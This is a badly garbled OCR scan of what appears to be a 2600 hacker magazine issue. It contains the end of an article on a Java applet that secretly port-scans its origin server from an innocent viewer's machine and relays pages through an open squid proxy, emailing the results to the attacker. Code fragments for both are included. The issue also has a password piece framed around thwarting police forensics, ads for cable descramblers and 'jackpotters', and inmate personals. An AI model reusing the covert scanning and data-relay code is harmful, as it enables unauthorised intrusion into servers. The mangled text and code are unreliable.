ra l ly c l osed . Then he beg ins  to wonder, "Can the rep l i cation of fa i l u re actu a l l y  g ive a n  i nd i ca­
t ion of what ports a re open on the server of or ig i n ? "  So, he decides to add an app let parameter 
ca l led "app let_mode" which w i l l  a l low h i m  to test h i s  theory. I f  the app let is in "smtp" mode, 
i t  does i ts normal  ema i l i ng procedu res as  d i scussed in Operat ions Moe and Larry. But i f  i t  i s  
i n  " nmap" mode, t h e  app let wi l l  try t o  open a series o f  ports and ema i l  what ports were fou n d  
open t o  h i m .  S i nce w e  a l ready know that a n  applet c a n  o n l y  com m u n i cate back t o  t h e  server 
of or ig i n and that parameter is a l ready defi ned, Cur ly  m u st create two more parameters ca l l ed 
"start_port" and "end_port" .  And he m u st create another method i n  h i s  Java code to perform 
th i s  fu nction :  

public void doNrnap ( )  

openports= " The following ports are open on " + s erver+ " :  

" ; 

for ( int i=start-port ; i<end-port ; i++ ) { 

try 

InetAddres s  addr = InetAddres s . getByNarne ( server ) ; 

Socket sock = new Socket ( addr , proxy-port ) ;  

I l i f  this port i s  open , an exception will not be 

thrown and 

l ithe fol lowing code wi l l  be executed 

openports+=i+ " " ;  

} catch ( Exception rne ) { } 

} l lend for loop 

s endErnail ( openport s ) ;  

} 

S i nce Cur ly  knows that a Java applet w i l l  even bypass a Tor con nect ion and expose h i s  rea l 
I P,  hav i ng an i n nocent v iewer ru n n i ng th i s  code on the i r  mach i n e  us i ng  the methods d i scussed 
prev ious ly  is cr i t ica l .  

B u t  let ' s  say that i n  the process of ru n n i ng h i s  app let i n  " n map" mode Cur ly  d i scovers that 
port 3 1 2 8 is open on the server of or ig i n !  How conven ient.  For those of you who a re unfam i l i a r  
w i th  squ i d, i t  i s  a proxy server that l i stens  by  defa u l t  on port 3 1 2 8 .  So  Cur ly  dec ides to  add  a 
th i rd mode to h i s  app let: http. I n  th i s  mode the applet makes a ca l l  to port 3 1 2 8 and,  assum i ng 
the proxy is an open proxy server, it retr ieves whatever web page Cur ly  desi res and ema i l s  
the htm l code o f  the req uest back to h i m .  I n  fact, why not have a l i st o f  U RLs t o  pass off t o  the 
app let? F i rst Cur ly  creates another app l et parameter: 
<pararn narne= " http_reques t_l i s t " value= ·' http : / /www . google . com l http : / /www . geoc ities . 

"corn I http : / /www . 2 6 0 0 . com ..  > 

Note that each U RL is separated by " I " . Then he must u pdate h i s  java code. The doHttpO 
method of h i s  J ava applet i s  a near ly  exact rep l ica of the doSmtpO method, except the i n put 
and output l i nes a re d i fferent: 

out . write ( " GET " +url + "  HTTP / 1 . 1 \ n " ) ;  

out . write ( " \ n " ) ;  

out . flu s h ( ) ; 

whi l e « str=in . readLine ( »  ! =nu l l ) {  

ur l_code+=str ; 

Then a l l  the doHttp method has to do i s  ca l l  the sendEma i l  method and pass the u r i_code 
va l ue to be emai led to Cur ly  by whatever ema i l  mode i s  defi ned in the applet parameters of 
bottom . htm ! .  So, to end the story, the app let has th ree modes: smtp, n map, http, and now the 
punch l i ne, Moe, Larry, the Cheese ! 
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How to 
cripple " 

by comfreak 
comfreak@gmail .com 

Watc h i ng cab le news in October I saw 
the story of Joseph Duncan,  a man who 
confessed to the m u rder of two adu lts and a 
teenager i n  Idaho.  For more info see Google 
News and have you rself  a merry t ime 
searc h i ng.  However, the c rux of  the story 
caught me when I hea rd the F B I  had h i s  
laptop a n d  cou l d  not c rack t h e  encrypt ion 
without h is  password . The news reporter 
asked a i m less quest ions such as "How hard 
is it to encrypt a l aptop?" and "Why i s  the 
F B I  hav i ng such a hard time c rack ing th i s  
l aptop?" O f  cou rse, news commentators a re 
c l ue less on how easy it is to encrypt a dr ive 
and subsequent ly leave even the federa l 
government apparent ly  he lp less. 

I t  got me wonder ing j ust what kind of 
encryption this m ight be that the FBI went 
pub l i c  with the i nformat ion .  Sure ly they 
wou l d  not want to embarrass themselves 
u n l ess they tru l y  needed th i s  guy to g ive up  
h i s  password. I heard on the  same TV program 
one of the officers garb l e  someth i ng about 
" I t's ca l led Pretty Good Program." I assume 
he i s  speak i ng of PGP ( Pretty Good Privacy 
at pgp i .org) so i t  j ust got me th i n k i ng more 
and ask ing  some quest ions .  Can it rea l ly be 
j ust that s imp le  to encrypt fi l es beyond the 
power of the federa l govern ment? I f  i t  rea l l y  
i s s o  strong beyond t h e  c rack ing power 
of the FB I ,  then c l ear ly  a l l  secur i ty comes 
down to the qua l i ty of you r  password . 

The commerc i a l  vers ion  of PG P featu res 
an opt ion to encrypt an enti re d rive or 
c reate an encrypted v i rtua l  dr ive with i n  
you r  d r ive. That makes i t  very easy to keep 
an encrypted section and j u st send th i ngs 
that are of a "sens it ive" nature to i t .  I t  cou l d  
be t h e  o n l y  th i ng between y o u  and a j a i l  
ce l l depend i ng on you r  spec if ic i ssue with 
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the l aw. 
Whether the federa l government can 

c rack i t  or  not doesn 't m atter i f  you r pass­
word is someth i ng s i m p l e  l i ke "fl uffy" or 
" 1 2345" .  Perhaps someth i ng more obvious 
l i ke you r  i n it i a l s  or  you r  k ids  name(s) . For 
further i l l ustrat ion of the absurd ity of people's 
passwords I ' l l  poi nt to a fam i l y  member of 
m i ne who sha l l rem a i n  nameless .  They use 
the same password for everyth i n g  from the i r  
ema i l  to the i r  fi nanc ia l  data to the i r  Wi ndows 
password. The punch l i ne comes in the fact 
that the same password p h rase is a l so used 
as the i r  l icense p l ate n u m ber. I cou ldn't make 
that up if I tr ied. . .  The bottom l i ne I found  from th i S  story I S  
that  you rea l l y  need to  take passwords ser i ­
ous ly. U nfortunatel y  most peop le  don't l i ke to 
wr i te down/remember more than one or  two 
s i m p l e  passwords. Of course, if for "some" 
reason you fi nd you rse l f  in a s i tuat ion where 
you w i sh  you set better passwords, it w i l l  be 
too l ate. For examp le, l et's say you fi nd  you r­
se lf  on the wrong s ide of the l aw and some 
computer equ ipment is seized .. Perhaps th�re 
is " i nformat ion" on that equ ipment wh ich  
cou l d  get you i n  more "troub le." You cou l d  
end u p  compound ing  a s i m p l e  prob l�m .  
However, i f  you a re u s i n g  strong encrypt ion 
and a str i ng  of tough passwords, you w i l l  be 
safe.  I f  th i s  l aptop sent  to the FB I  i s  secure, 
you r  loca l  c r ime l a b  w i l l  be even more 
he lp less .  

There are some exce l lent password gener­
ators I found  j u st doi ng a s i m p l e  search :  
www . winguide s . com/ security/pas sword . php 
www . randpass . com 

More advan ced generators and down l oad­
ab le  programs:  
www . mark . vc n . com/pas sword/ 
www . grc . com/ pas swords . htm 
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HOPE FORUMS 
An nouncing a brand new way to com m u n i cate you r  thoughts 

and ideas about the HOPE conferences, 2600, and hacker 

issues! 

Sim ply go to http://ta l k. hope. net and join the fun !  We a l ready 

have many l ively discussions in prog ress and you can sta rt 

your own if you feel the need . The forum focuses m a i n ly on 

the past and future Hackers On Planet Earth conferences and 

the cu rrent battle to help save the H otel Pennsylvania ,  site of 

HOPE.  

Registration is  s imple,  quick,  and free! See what happens when 

we all  put our heads together. 

O FF TH E H 
Tech n o l ogy  fr 
H acke r  Pe rs pe t i  

B ROA D CAST FO R ALL TH E WO RLD 
Wed nesdays,  1 9 0 0 - 2 0 0 0  ET 

W BAI 99 . 5  FM , N ew Yo rk City 
W BCQ 74 1 5  Khz - s h o rtwave to N o rth A m e ri ca 

a n d  at http : //www . 2 6 0 0 . co m/offt h e h o o k  ove r t h e  n et 

Ca l l  u s  d u ri n g  the s h ow at + 1  2 1 2  209 2900 . 

E m a i l  oth @ 2 600 . co m  with yo u r  com m ents .  

A n d  yes, w e  a re i nte rested i n  s i m u lcasti n g  o n  oth e r  stati o n s  o r  

v i a  sate l l i te . Conta ct u s  if  y o u  ca n h e l p  s p read " Off T h e  H o o k" to 

m o re l i ste n e rs !  
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Happenings 
CAROLINACON wil l  begin Friday, April 20th and wrap up Saturday 
night, April 2 1 st. This year's event wil l  be held at the Holiday Inn in scenic 
Chapel Hill, North Carolina ( 1 30 1  N .  Fordham Blvd.). The conference 
is a great way to meet other l ike-minded technology enthusiasts and 
to knowledge-share with your peers, There is a lot of opportunity for 
both learning and socializing. In  many ways, Carolinacon is l ike a whole 
semester of college, all in  one weekend. For more details, visit www. 
carolinacon.org. 
CHAOS COMMUNICATION CAMP 2007. This event will start August 
8th and last until August 1 2th,  2007. That's right, ladies and gentlemen, 
We are going for five days this time! The Camp wil l  take place at a 
brand new location at the Airport M useum in Finowfurt, directly at Finow 
airport. So if you like, you can directly fly to the Camp. You can get to 
the location easily with a car in  less than 30 m inutes starting in Berl in 
and we wi l l  make sure there is a shuttle connection to the next train 
station. The coordinates of the location are 52.831 7, 1 3.6779. More 
details at ecc.de. 
HITBSECCONF - MALAYSIA is  the premier network security event for 
the region and the largest gathering of hackers in  Asia. Our 2007 event 
is expected to attract over 700 attendees from around the world and 
will see 4 keynote speakers in addition to 40 deep knowledge technical 
researchers. The conference takes place September 3rd through 
September 6th in Kuala Lumpur, The Cal! For Papers is open until May 
1 st. More details at http://eonference.hitb.org/hitbsecconf2007kll. 
I LLUMINATING THE BLACK ART OF SECURITY. Announcing SecTor 
- Security Education Conference Toronto - November 20-2 1 , 2007. 
Bringing to Canada the world's brightest (and darkest) minds together 
to identify, discuss, dissect, and debate the latest digital threats facing 
corporations today. Unique to central Canada, SecTor provides an 
unmatched opportunity for IT professionals to collaborate with their 
peers and learn from their mentors. All speakers are true security 
professionals with depth of understanding on topics that matter. Check 
us out at www.seetor.ca to see the impressive growing list of speakers 
and be sure to sign up for email updates. Attendees and Sponsors -
don't miss out, both are l imited! 

For Sale 
VENDING MACHINE JACKPOTTERS. Go to www.hackershomepage. 
com for EMP Devices, Lock Picks, Radar Jammers & Controversial 
Hacking Manuals. 407-965-5500 
MAKE YOUR SOFTWARE OR WEBSITE USER FRIENDLY with 
Foxee, the friendly and interactive cartoon blue fox! Not everyone 
who wi l l  navigate your website or software application will be an 
expert hacker, and some users will need a iittle help! Foxee is a hand­
animated Microsoft Agent character that will accept input through voice 
commands. text boxes, or a mouse, and interact with your users through 
text, animated gestures, and even digital speech to help guide them 
through your software with ease! Foxee supports 10 spoken languages 
and 31 written languages. She can be added to your software through 
C++, VB6, all  . Net languages, VBScript, JavaScript, and many others! 
Natively compatible with Microsoft Internet Explorer and can work with 
MozHla Firefox when used with a free plug-in.  See a free demonstration 
and purchasing information at www.foxee.net! 
TV-B-GONE. Turn off TVs in  public places! Airports, restaurants, bars, 
anywhere there 's  a lV See why everyone at HOPE Number Six loved it. 
Turning oft TVs really is fun. $20.00 each. www.TVBGone.com 
JUST RELEASED! Feeling tired during those late night hacking 
sessions? Need a boost? If you answered yes. then you need to 
reenergize with the totally new Hack Music Volume 1 CO. fhe CD is 
crammed with high energy hack music to get you back on track. Order 
today by sending your name, address, city, state, and zip along with 
$ 1 5  to: Doug Talley, 1 234 Birchwood Drive, Monmouth, I L  61 462. This 
CD was assembled solely for the readers of 2600 and is not available 
anywhere else! 
NET DETECTIVE. Whether you ' re just curious, trying to locate or find 
out about people foT' personal or business reasons, or you ' re looking 
for people you've falien out of touch with, Net Detective makes i t  all 
possible! Net Detective is used worldwide by private investigators and 
detectives, as well as everyday people who use it to find lost relatives, 
old high school and army buddies, deadbeat par(�nts, lost loves, people 
that owe them money, and just plain old snooping around. Visit us today 
at www.netdetective.org.uk.  
JEAH.NET SHELLS/HOSTING SINCE 1999 - J EAH ' s  FreeBSD shell 
accounts continue to be the choice for unbeatable uptime and the 
largest virtual host list you'n find anywhere. J EAH lets you transfer/store 
files, IRC, and email with complete privacy and security. Fast, stable 
virtual web hosting and completely anonymous domain registration 
solutions also available with JEAH. As always, mention 2600 and your 
setup fees are waived! Join the JEAH . N ET institution! 
NETWORKING AND SECURITY PRODUCTS available at 

OvationTechnology.com, We're a supplier of Network Security and 
Internet Privacy products. Our online store features VPN and firewall 
hardware, wireless hardware, cable and DSL modems/routers, IP 
access devices. VolP products, parental control products, and ethernet 
switches. We pride ourselves on providing the highest level of technical 
expertise and customer satisfaction. Our commitment to you ... No 
surprises! Buy with confidence! Security and Privacy is our business! 
Visit us at http://www.OvationTechnology.com/store.htm. 
PHONE HOME. Tiny, sub-miniature, 7/1 0 ounce, programmable/ 
reprogrammable touch-tone, multi-frequency (DTMF) dialer which can 
store up to 15 touch-tone dig its. Unit is held against the telephone 
receiver's microphone for dialing. Press "HOME" to automatically dial 
the stored digits which can then be heard through the ultra miniature 
speaker. Ideal for E.T.'s,  chi ldren, Alzheimer victims, lost dogs/chimps, 
significant others, hackers, and computer wizards. Give one to a 
boy/girl friend or to that potential "someone" you meet at a party, the 
supermarket, school, or the mall;  with your pre-programmed telephone 
number, he/she wil l  always be able to call you! Also, ideal if you don't 
want to "disclose" your telephone number but want someone to be able 
to cal! you locally or long distance by telephone, Key ring/clip. Limited 
quantity available. Money order only. $24,95 + $3.00 S/H, Mail order to: 
PHONE HOME, Nimrod Division, 331 N.  New Ballas Road, Box 41 0802, 
CRC, Missouri 631 4 1 . 
REAL WORLD HACKING: Interested in rooftops, steam tunnels, and 
the l ike? Read the all-new Access All Areas, a guidebook to the art of 
urban exploration, from the author of Infiltration zine. Send $20 postpaid 
in  the US or Canada, or $25 overseas, to PO Box 1 3, Station E, Toronto, 
ON M6H 4E1 , Canada, or order online at www.infiltration.org. 
ENHANCE OR BUILD YOUR LIBRARY with any of the following CD 
ROMS: Hack Attacks Testing, Computer Forensics, Master Hacker, 
Web Spy 2001 , Hackers' Handbook, Troubleshooting & Diagnostics 
98, PC Troubleshooter 2000, Forbidden Subjects 3 ,  Hackers Toolkit 
2.0,  Steal This CD, Hacks & Cracks, Hackerz Kronicklez, Elite Hackers 
Toolkit 1 ,  Forbidden Knowledge 2 ,  Troubleshooting & Diagnostics 2002, 
Police Call Frequency Guide 2nd Edition, Computer Toybox, Answering 
Machine 2000, Hackers Encyclopedia 3 ,  Maximum Security 3rd Edition, 
Network Util ities 200 1 ,  Screensavers 2002, Engineering 2000, Anti­
Hacker Toolkit 2nd Edition & PC Hardware, Send name, address, city, 
state, zip,  email address (for updates only) and items ordered, along 
with a cashier's check or money order in the amount of $20 tor each 
item to: Doug Talley, 1 234 Birchwood Drive, Monmouth , IL 6 1 462. 
FREEDOM DOWNTIME ON DVD! Years in the making but we hope 
it was worth the wait.  A double DVD set that includes the two hour 
documentary, an in-depth interview with Kevin Mitnick, and nearly 
three hours of extra scenes, lost footage, and miscellaneous stuff. Plus 
captioning for 20 (that's right, 20) languages, commentary track, and a 
lot of things you ' l l  just have to find for yourself! The entire two disc set 
can be had by sending $30 to Freedom Downtime DVD, PO Box 752, 
Middle Island, NY 1 1 953 USA or by ordering from our online store at 
http://store.2600.com. (VHS copies of the film still available for $1 5.) 
CAP'N CRUNCH WHISTLES. Brand new, only a few left. THE 
ORIGINAL WHISTLE in mint condition, never used. Join the elite few 
who own this treasure! Once they are gone, that is it - there are no 
more! Keychain hole for keyring. Identify yourseif at meetings, etc. as 
a 2600 member by dangling your keychain and s8)ring nothing. Cover 
one hole and get exactly 2600 hz, cover the other hole and get another 
frequency. Use both holes to call your dog or dolpllin. Also, ideal for 
telephone remote control devices. Price includes mail ing. $49.95. Not 
only a collector's item but a VERY USEFUL device to carry at all times. 
Cash or money order only. Mail  to: WHISTLE, P.O. Box 1 1 562-ST, Cit, 
M iSSOUri 63 1 05 .  
PHRAINE. T h e  technology without the noise quarterly would l i k e  to 
thank the 2600 readers who have also become new subscribers ancl 
encourages those who have not ACK their need for diverse computer 
information in conjunction with that of 26'00 to dedicate some packets 
and become a subscriber today! Visit us at our new domain www. 
pearlyfreepress.com/phraine. 
J!NX-HACKER CLOTHING/GEAR. Tired of being naked? J INX.com 
has 300+ T's, sweatshirts, stickers, and hats for those rare times that 
you need to leave your house. We've got swag for everyone, from the 
budding nOOblet to the vintage geek. So take a five minute break from 
surfing prOn and check out http://www.JINX.com. Uber-Secret-Special­
Mega Promo: Use "2600v3n02" and get 1 0% off of your order. 
CABLE TV DESCRAMBLERS. New. Each $45 + $5.00 shipping, money 
order/cash only. Works on analog or analog/digital cable systems. 
Premium channels and possibly PPV depending on system. Complete 
with 1 1 0vac power supply. Purchaser assumes sole responsibility for 
notifying cable operator of use of descrambler. Requires a cable TV 
converter ( i .e . ,  Radio Shack) to be used with the unit. Cable connects 
to the converter, then the descrambler, then the output goes to TV 
set tuned to channel 3.  CD 9621 Olive, Box 28992-T8, Olivettet Sur, 
M issouri 63132. Emai l · cabledescramblerguy@yahoo.com. 
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Wanted 
OPT DIVE AT for 800 numbers desperately needed for privacy. I need 
a telepho n e  number anywhere i n  the U.S. that will then give a dial tone 
from which one can dial a toll-free 800 number so that the toll-free 
number business recipient does not have the actual telephone number 
from which the call originates. AT&T used to work for this purpose but 
no longer does. Please email opCdivert@yahoo.com. 
HELP! I want to set u p  a voice bridge chat l ine for hackers but 
need the software. Call me at (21 3) 595-8360 (Ben) or www. 
Undergrou ndClassifieds.com. 

Services 
HACKER TOOLS TREASURE BOXI You get over 630 l inks to 
key resources, plus our proven methods for rooting out the hard­
to-find tools, instantly! Use these l inks and methods to build your 
own customized hacker (AHEM, network security) tool kit. http:// 
wealthfunnel.com!securitybook 
AOVANCED TECHNICAL SOLUTIONS. #422 - 1 755 Robson Street. 
Vancouver, B.C. Canada V6G 3B7. Ph: (604) 928-0555. Electronic 
countermeasures - find out who is secretly videotaping you or bugging 
your car or office. ·State of the Art- detection equipment util ized. 
FREERET I REDSTUFF.COM - Donate or request free outdated tech 
products - in exchange for some good karma - by keeping usable 
unwanted tech items out of your neighborhood landfi l l .  The FREE and 
easy text and photo classified ad website is designed to find local 
people in your area will ing to pick up your unwanted tech products 
or anything else you have to donate. Thank you for helping us spread 
the word about your new global recycling resource by distributing this 
ad to free classified advertising sites and newsgroups globally. Www. 
FreeRetiredStuff .com FREE ADS are available for those trying to BUY or 
SELL tech products. Visit www.NoPayClassifieds.com. 
SUSPECTED OR ACCUSED OF A CYBERCRIME I N  ANY 

CALIFORNIA OR FEDERAL COURT? Consult with a semantic 
warrior committed to the liberation of information. I am an aggressive 
criminal defense lawyer specializing in the following types of cases: 
unauthorized access, theft of trade secrets, identity theft, and trademark 
and copyright infringement. Contact Omar Figueroa, Esq. at (41 5) 986-
5591 . at omar@stanfordalumni.org, or at 506 Broadway. San Francisco, 
CA 941 33-4507. Graduate of Yale College and Stanford Law School. 
Complimentary case consultation for 2600 readers. All consultations 
are strictly confidential and protected by the attorney-client privilege. 
INTELLIG ENT HACKERS U N IX SHELL. Reverse.Net is owned and 
operated by intelligent hackers. We believe every user has the right to 
online security and privacy. In  today's hostile anti-hacker atmosphere, 
intell igent hackers require the need for a secure place to work, compile, 
and explore without big-brother looking over their shoulder. Hosted at 
Chicago Equinix with Juniper Filtered DoS Protection. M u ltiple FreeBSD 
servers at P4 2.4 ghz. Affordable pricing from $5/month with a money 
back guarantee. Lifetime 26% discount for 2600 readers. Coupon code: 
Save2600. http://www.reverse.net 
ANTI-CENSORSHIP LINUX HOSTING. Kaleton Internet provides 
affordable web hosting, email accounts, and domain registrations based 
on dual processor P4 2.4 GHz Linux servers. Our hosting plans start 
from only $8.95 per month. This includes support for Python, Perl, PHp, 
MySQL, and more. You can now choose between the USA, Singapore, 
and other offshore locations to avoid censorship and guarantee free 
speech. We respect your privacy. Payment can be by E-Gold, PayPal, 
credit card. bank transfer, or Western Union. See www.kaleton.com for 
details. 
ARE YOU TIRED of receiving piles of credit card offers and other 
postal spam? You can 't just throw them in the trash or recycle them as 
someone Gould get a hold of them and use them to steal your identity. 
You can't  just let them pile up on your kitchen table. So instead you 
have to b e  bothered with shredding and disposing of them. Well, not 
anymore. OperationMailBack.com has a free solution for you. All costs 
of disposal including delivery will be paid by the company responsible 
for sending the stuff to you. Stop wasting your valuable time dealing 
with messes other people are responsible for creating. Check out our 
newly redesigned website for complete information and take back your 
mailbox. 
BEEN ARRESTED FOR A COMPUTER OR TECHNOLOGY RELATED 

CRIME? Have an idea, invention, or business you want to buy, sell, 
protect, or market? Wish your attorney actually understood you when 
you speak? The Law Office of Michael B .  Green, Esq. is the solution 
to your 21 st century legal problems. Former SysOp and member of 
many private BBS's since 1 98 1  now available to directly represent 
you or bridge the communications gap and assist your current legal 
counsel. Extremely detailed knowledge regarding criminal and civil 
l iabil ity for computer and technology related actions (18 U.S.C. 1 028, 
1 029, 1 030. 1 03 1 , 1 34 1 . 1 342, 1 343, 251 1 . 2 5 1 2 ,  ECPA, DMCA, 1 996 
Telecom Act, etc.), domain name disputes, intellectual property matters 
such as copyrights, trademarks, licenses, and acquisitions as well as 
general business and corporate law. Over eleven years experience 
as in-house legal counsel to a computer consulting business as well 
as an over 20 year background in computer, telecommunications, 
and technology matters. Published law review articles, contributed to 
nationally p ublished books, and submitted briefs to the United States 
Supreme Court on Internet and technology related issues. Admitted to 
the U.S.  Supreme Court, 2nd Circuit Court of Appeals, and all New York 
State courts and familiar with other jurisdictions as wel l .  Many attorneys 
wil l  take your case without any consideration of our culture and wil l  see 
you merely as a source of fees or worse, with ill-conceived prejudices. 
My office understands our culture, is sympathetic to your situation, and 

will treat you with the respect and understanding you deserve. No fee 
for the in itial and confidential consultation and, if for any reason we 
cannot help you, we will even try to find someone else who can at no 
charge. So you have nothing to lose and perhaps everything to gain 
by contacting us first. Visit us at: http://www.computorney.com or call 
5 1 6-9WE-HELP (51 6-993-4357). 

Announcements 
OFF THE HOOK is the weekly one hour hacker radio show presented 
Wednesday nights at 7:00 pm ET on WBAI 99.5 FM In New York City. 
You can also tune in over the net at www.2600.com/offthehook or on 
shortwave in North and South America at 741 5  khz. Archives of all 
shows dating back to 1 988 can be found at the 2600 site. now in mp3 
format! Shows from 1 988-2005 are now available in DVO-R format 
for $30! Or subscribe to the new high quality audio service for only 
$50. Each month you' l l  get a newly released year of Off The Hook in 
broadcast quality (far better than previous online releases). Send check 
or money order to 2600. PO Box 752, Middle Island, NY 1 1 953 USA or 
order through our online store at http://store.2600.com. Your feedback 
on the program is always welcome at oth@2600.com. 
INFOSEC NEWS is a privately run, medium traffic list that caters to the 
distribution of information security news articles. These articles come 
from such sources as newspapers, magazines, and online resources. 
For more information, check out: http://www. infosecnews.org. 
PHONE PHUN. http://phonephun.us. Blog devoted to interesting 
phone numbers. Share your finds! 
CHRISTIAN HACKERS' ASSOCIATION: Check out the web page 
http://www.christianhacker.org for details. We exist to promote a 
community for Christian hackers to discuss and impact the realm where 
faith and technology intersect for the purpose of seeing lives changed 
by God's grace through faith in Jesus. 

Personals 
PLEASE WRITE ME. WM b l u e  eyes brown hair, 6 ' 3 " ,  1 95 Ibs.. 2 8  
years o l d  (send a p i c ,  I w i l l  do t h e  same). I ' m  incarcerated f o r  drug 
manufacturing. Been down 1 year, got 1 or 3 more to go. I'm looking 
for anyone to talk to about real world hacking, IDs, or any 2600 related 
stuff. I love to write and have nothing but time. Meclynn Stuver GN-
1 1 4 1 ,  P.O. Box 1 000, Houtzdale, PA 1 6698-1 000. 
PRISONER SEEKS FRIENDS to help with book review lookups on 
Amazon by keywords. Com Sci major, thirsty to catch up to the real 
world before my reentry. I have my own funds to buy books. I only need 
reviews. I ' m  M U D/MMORPG savy in C++lPython/PHP/MySOL. I 've 
moved. Please resend. Ken Roberts J60962. 450- 1 -28M, PO Box 9, 
Avenal, CA 93204. 
SEEKING NON-STAGNANT MINDS for mutual i l lumination/exchange 
of thoughts and ideas. Three years left on my sentence and even 
with all my coaching the walls sti l l  can't carry a decent conversation. 
Interests include cryptography, security, conspiracy theories, martial 
arts. and anything computer related. All letters replied to. Max Rider, 
SBI#00383681 D.C.C. ,  1 1 81 Paddock Rd., Smyrna, DE 1 9977. 
I N  SEARCH OF FRIENDs/CONTACTS: Railroaded by lying evidence­
burying FBI agents and U.S. Postal Inspectors for crime I didn't 
commit. In court I had a snowball's chance in hel l .  Unless I outsmart 
the government by exhuming the eXCUlpatory treasure trove of my 
innocence, I 'm hopelessly dungeoned for the duration. There's only a 
little gleam of time between two eternities. I refuse to return to forever 
without a fight. Wil l  answer all. W. Wentworth Foster #21 1 8 1 .  Southeast 
Correction Center, 300 East Pedro Simmons Drive, Charleston, MO 
63834. 
OFFLIN E  OUTLAW IN TEXAS is looking for any books Unix/Linux I can 
get my hands on. Also very interested in  privacy in all areas. If you can 
point me in  the right direction or feel l ike teaching an old dog some new 
tricks. drop me a line. I ' l l  answer all letters. Props to those who already 
have, you know who you are. Wil l iam Lindley 822934, 1 300 FM 655, 
Rosharon, TX 77583-8604. 
I N  SEARCH OF NEW CONTACTS every day. I have a lot of time to pass 
and am always up for a good discussion. Joint source audit anyone? 
Of course it ' l l  have to be on paper. Interests not l imited to: low-level 
OS coding, embedded systems, crypto. radiotelecom. and conspiracy 
theory. Will reply to all. Brian Salcedo #321 30-039, FCI McKean, P.O. 
Box 8000. Bradford, PA 1 6701 . 

ONLY SUBSCRIBERS CAN ADVERTISE IN 26001 Don't even think 
about trying to take out an ad unless you subscribe! All ads are free and 
there is no amount of money we wil l  accept for a non-subscriber ad. 
We hope that 's clear. Of course, we reserve the right to pass judgment 
on your ad and not print it if it 's amazingly stupid or has nothing at all 
to do with the hacker world. We make no guarantee as to the honesty, 
righteousness, sanity, etc. of the people advertising here. Contact 
them at your peri l .  All submissions are for ONE ISSUE O N LY! If you 
want to run your ad more than once you must resubmit it each time. 
Don 't  expect us to run more than one ad for you in a single issue either. 
Include your address label/envelope or a photocopy so we know you ' re 
a subscriber. Send your ad to 2600 Marketplace, PO Box 99, Middle 
Island, NY 1 1 953. Deadline for Summer issue: 6/1/07. 
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Answer choice for Winter 2006 puzzle: 
" T h e  e a s t  c o d e s - w e s t  c o d e s  NPA r i v a l r y  t a k e s  

i t s t o l l . " - - e v a n r puzzle@2600.com 
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"The production of too many useful things results 
in too many useless people. " - Karl Marx 
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ARGENTINA, , �=":. Aires: In tht:: ��an , GREECE 
''-- Athens: Outside the bookstore Pa­

paswtiriou on tb&-GOmer Of Pati�� 
and Stoum!lfl.· Y pin. ' '""jC AUS"A� ,/;" " 'i 

Melbourne: CWfeine atfteVatiIt Bit� 
1 6  Swanston Watk, near Melbour�'" " ;';', '" " AliANO, :: ',,-r 
Central Sh� Centre. 6:30 pm;.c:- "" _, 'Dublh'l: At the !;#'lOOe booths on , _ 

food court. 6 pm. New York 
Galnesyjl le: In the back of the New York: Citigroup Center. in the 
Univ� of Florida�'Reitz Union lobby, near the payphones, 1 53 E 

'=�f'!:,.;.,s:.;�a .. Miijjf� �rd . R�:; 
eeurt between HOvan Gtrurmet-$id ",-4irm' !'01IY. _

_ ,--
. in front of 

. . "'anchu Woko,6 pm. ,3' )'" 
Sydney: ""':Crystal Palace, front - WicklDw .St.;.tJ8side Tow,sr ReeDrds: barlbistro. opposite the bus station 7 pm." _"1. - " - -� •• 

:, Tampa: Un;,@sity Mjlll.!i' the �ck of " .  ,', <"," .;;L C".'ro· llna , '_ - ' ,_the foodcouFtQl;f lh.,� floor. 6 pm. _ .."... 
area on George St. at Central Sta­
tion. 6 pm. 

AUSTRIA 
Graz: Cate Haltestelle on Jakomini­
platz. 

BRAZIL 
Belo HorIzonte: Pelego's Bar at NT 
sufeng, near the payphone. 6 pm. 

CANADA 
Alberta 

Calgary: Eau Claire Market food 
court by the bland yellow wall. 6 pm. 

British Columbia 
Vancouver: Lupo Caffe & Bar, 1 0 1 4  
West Georgia St. 
Victoria: QV Bakery and Cafe, 1 701 
Government S1. 

Manitoba 
Winnipeg: St. Vital Shopping Centre, 
food court by HMV. 

New Brunswick 
Moncton: Ground Zero Networks 
Internet Cafe, 720 Main St. 7 pm. 

Ontario 
Barrie: William's Coffee Pub, 505 
Bryne Drive. 7 pm. 
Guelph: William's Coffee Pub, 492 
Edinbourgh Road South. 7 pm. 
CHawa: World Exchange Plaza, 1 1 1  
Albert St., second floor. 6:30 pm. 
Toronto: College Park Food Court, 
across from the Taco Bell. 
Watenoo: William's Coffee Pub, 1 70 
University Ave. West. 7 pm. 
Windsor: University of Windsor, 
CAW Student Center commons area 
by the large window. 7 pm. 

Quebec 
Montreal: Bell Amphitheatre, 1 000, 
rue de la Gauchetiere. 

CHINA 
Hong Kong: Pacific Coffee in Festi­
val Walk, Kowloon Tong. 7 pm. 

CZECH REPUBUC 
Prague: Legenda pub. 6 pm. 

DENMARK 
Aalborg: Fast Eddie's pool hall. 
Aarhus: In the far comer of the DSB 
cafe in the railway station. 
Copenhagen: Cafe Blasen. 
Sonderborg: Cafe Oruen. 7:30 pm. 

EGYPT 
Port Said: At the foot of the Obelisk 
(EI Missallah). 

ENGLAND 
Brighton: At the phone boxes by the 
SeaUfe Centre (across the road from 
the Palace Pier). 7 pm. Payphone: 
(01 273) 606674. 
Exeter: At the payphones, Bedford 
Square. 7 pm. 
london: Trocadero Shopping Center 
(near Piccadilly Circus), lowest level. 
6:30 pm. 
Manchester: Bulls Head Pub on 
London Rd. 7:30 pm. 
Norwich: Borders entrance to 
Chapelfield Mall. 6 pm. 
Reading: Afro Bar, Merchants Place, 
off Friar st. 6 pm. 

FINLAND 
Helsinki: Fel'lniakortteli food court 
(Vuorikatu 1 4) .  

FRANCE 
Grenoble: Eve, campus of St. Martin 
d'Heres, 6 pm. 
Paris: Place de la Republique, near 
the (empty) fountain. 6:30 pm. 
Rennes: In front of the store "Blue 
Box" close to Place de la Republique. 
8 r� 

ITALY 
Milan: Piazza Loreto in front of 
McDonalds. 

JAPAN 
Tokyo: Linux Cafe in Akihabara 
district. 6 pm. 

NEW ZEALANI) 
Auckland: London Bar, upstairs, 
Wellesley St., Auckland Central. 
5:30 pm. 
Christchurch: Java Cafe, comer of 
High St. and Manchester St. 6 pm. 
Wellington: Load Cafe In Cuba 
Mall. 6 pm. 

NORWAY 
Oslo: Oslo Sentral Train Station. 
7 pm. 
Tromsoe: The upper floor at Blaa 
